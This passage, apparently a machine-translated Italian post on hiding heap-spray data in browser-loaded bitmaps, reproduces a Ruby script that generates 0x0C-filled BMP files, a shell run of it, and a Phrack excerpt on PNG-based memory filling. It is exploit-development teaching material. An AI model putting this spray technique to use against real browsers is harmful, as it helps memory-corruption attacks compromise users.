L'idea generale è di incorporare lo shellcode in una bitmap che un browser carica nell'heap.
La presentazione originale che discute questa tecnica è Punk Ode: Nascondere il codice shell in Plain Sight .
Anchediscussoinquestodocumentoè utilizzando il codice incorporato in una gif per creare un overflow di heap sfruttabile in NetScape 6.x, x86 Linux RedHat 7.0, 15 anni fa (diapositiva 9).
Per quanto riguarda la tecnica discussa nella diapositiva 13 di Tecniche avanzate di spruzzatura di heap , il codice utilizzato per dimostrarlo può essere trovato nella sezione " Modi alternativi per spruzzare l'heap del browser " di tutorial Heap Spraying Demystified di Corelan :
# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
# published on www.corelan.be with permission
bmp_width = ARGV[0].to_i
bmp_height = ARGV[1].to_i
bmp_files_togen = ARGV[2].to_i
if (ARGV[0] == nil)
bmp_width = 1024
end
if (ARGV[1] == nil)
bmp_height = 768
end
if (ARGV[2] == nil)
bmp_files_togen = 128
end
# size of bitmap file calculation
bmp_header_size = 54
bmp_raw_offset = 40
bits_per_pixel = 24
bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )
bmp_file = "\x00" * bmp_file_size
bmp_header = "\x00" * bmp_header_size
bmp_raw_size = bmp_file_size - bmp_header_size
# generate bitmap file header
bmp_header[0,2] = "\x42\x4D" # "BM"
bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data
bmp_file[0,bmp_header.length] = bmp_header
bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size
for i in 1..bmp_files_togen do
bmp = File.new(i.to_s+".bmp","wb")
bmp.write(bmp_file)
bmp.close
end
This standalone ruby script will create a basic bmp image that contains 0x0c all over the place. Run the script, feeding it the desired width and height of the bmp file, and the number of files to create :
root@bt:/spray# ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray# ls -al
total 2320
drwxr-xr-x 2 root root 4096 2011-12-31 08:52 .
drwxr-xr-x 28 root root 4096 2011-12-31 08:50 ..
-rw-r--r-- 1 root root 2361654 2011-12-31 08:52 1.bmp
-rw-r--r-- 1 root root 1587 2011-12-31 08:51 bmpheapspray_standalone.rb
root@bt:/spray#
Informazioni aggiuntive su questo argomento dall'articolo Phrack Microsoft XML con patching automatico con disallineamenti e fattoriali :
--[ 3.4 - Filling the memory 1: images
Because the memory region that must be controlled is rather big, my
initial idea was to utilize some pre-calculated big objects for filling
it, such as images. The core of the idea is that, every piece of data
that can be consumed and processed by the target application (e.g. output
or rendered) has its place and a representation in the target process
memory. Thinking like that we don't get caught in stereotypical terms of
'heap spraying' and the specific techniques associated with it, many of
which are already mitigated in browsers.
The idea of using graphical images in vulnerability development is not
new. It was first introduced in 2006 by Sutton et al.[3], whose research
focused mainly on the aesthetics of shellcode steganography in images
rather than solving of any problems of heap spraying (as there were none
at that time). Later, a few researchers revisited the same idea in the
context of heap spraying, but it has never found a real application,
mainly because bitmaps (as the only format capable of incorporating a
byte pattern 'as is') are huge and can only be shrinked with the help of
server-side measures, while using other image formats for memory control
purposes is burdened with calculation problems of recompression.
Apart from the server-side GZIP compression, another solution that's never
publicly noted is PNG. The PNG compression is very simple and does not
affect the bitmap structure at large. As a result, a 2Mb BMP image
containing a simple 1-byte pattern can be converted into a ~500 bytes PNG
image, that will be decompressed back into the original bitmap in the
rendering process memory.
There are two problems however:
The more variable is the source bitmap pattern, the bigger is the
resulting PNG image; a natural limitation of any compression.
The decompressed PNG has extra bytes in the bitmap data, injected after
every 3 bytes of the original bitmap. It's probably a transparency channel
or some other data specific to the PNG format.
The good news:
At the point when the PNG image is loaded and decompressed by the
browser but is not yet displayed on the web page, the bitmap data in the
process memory fully corresponds to the source BMP.
A large image is mapped into a comparably large and continuous chunk of
memory, located at a somewhat predictable memory offset.
The PNG spraying technique proved to be not suitable for this particular
case because a highly variable memory padding pattern would be required,
and so the images would have to be too big anyway. However it still looks
like an interesting technique for rapid filling of huge memory areas with
a simple byte pattern.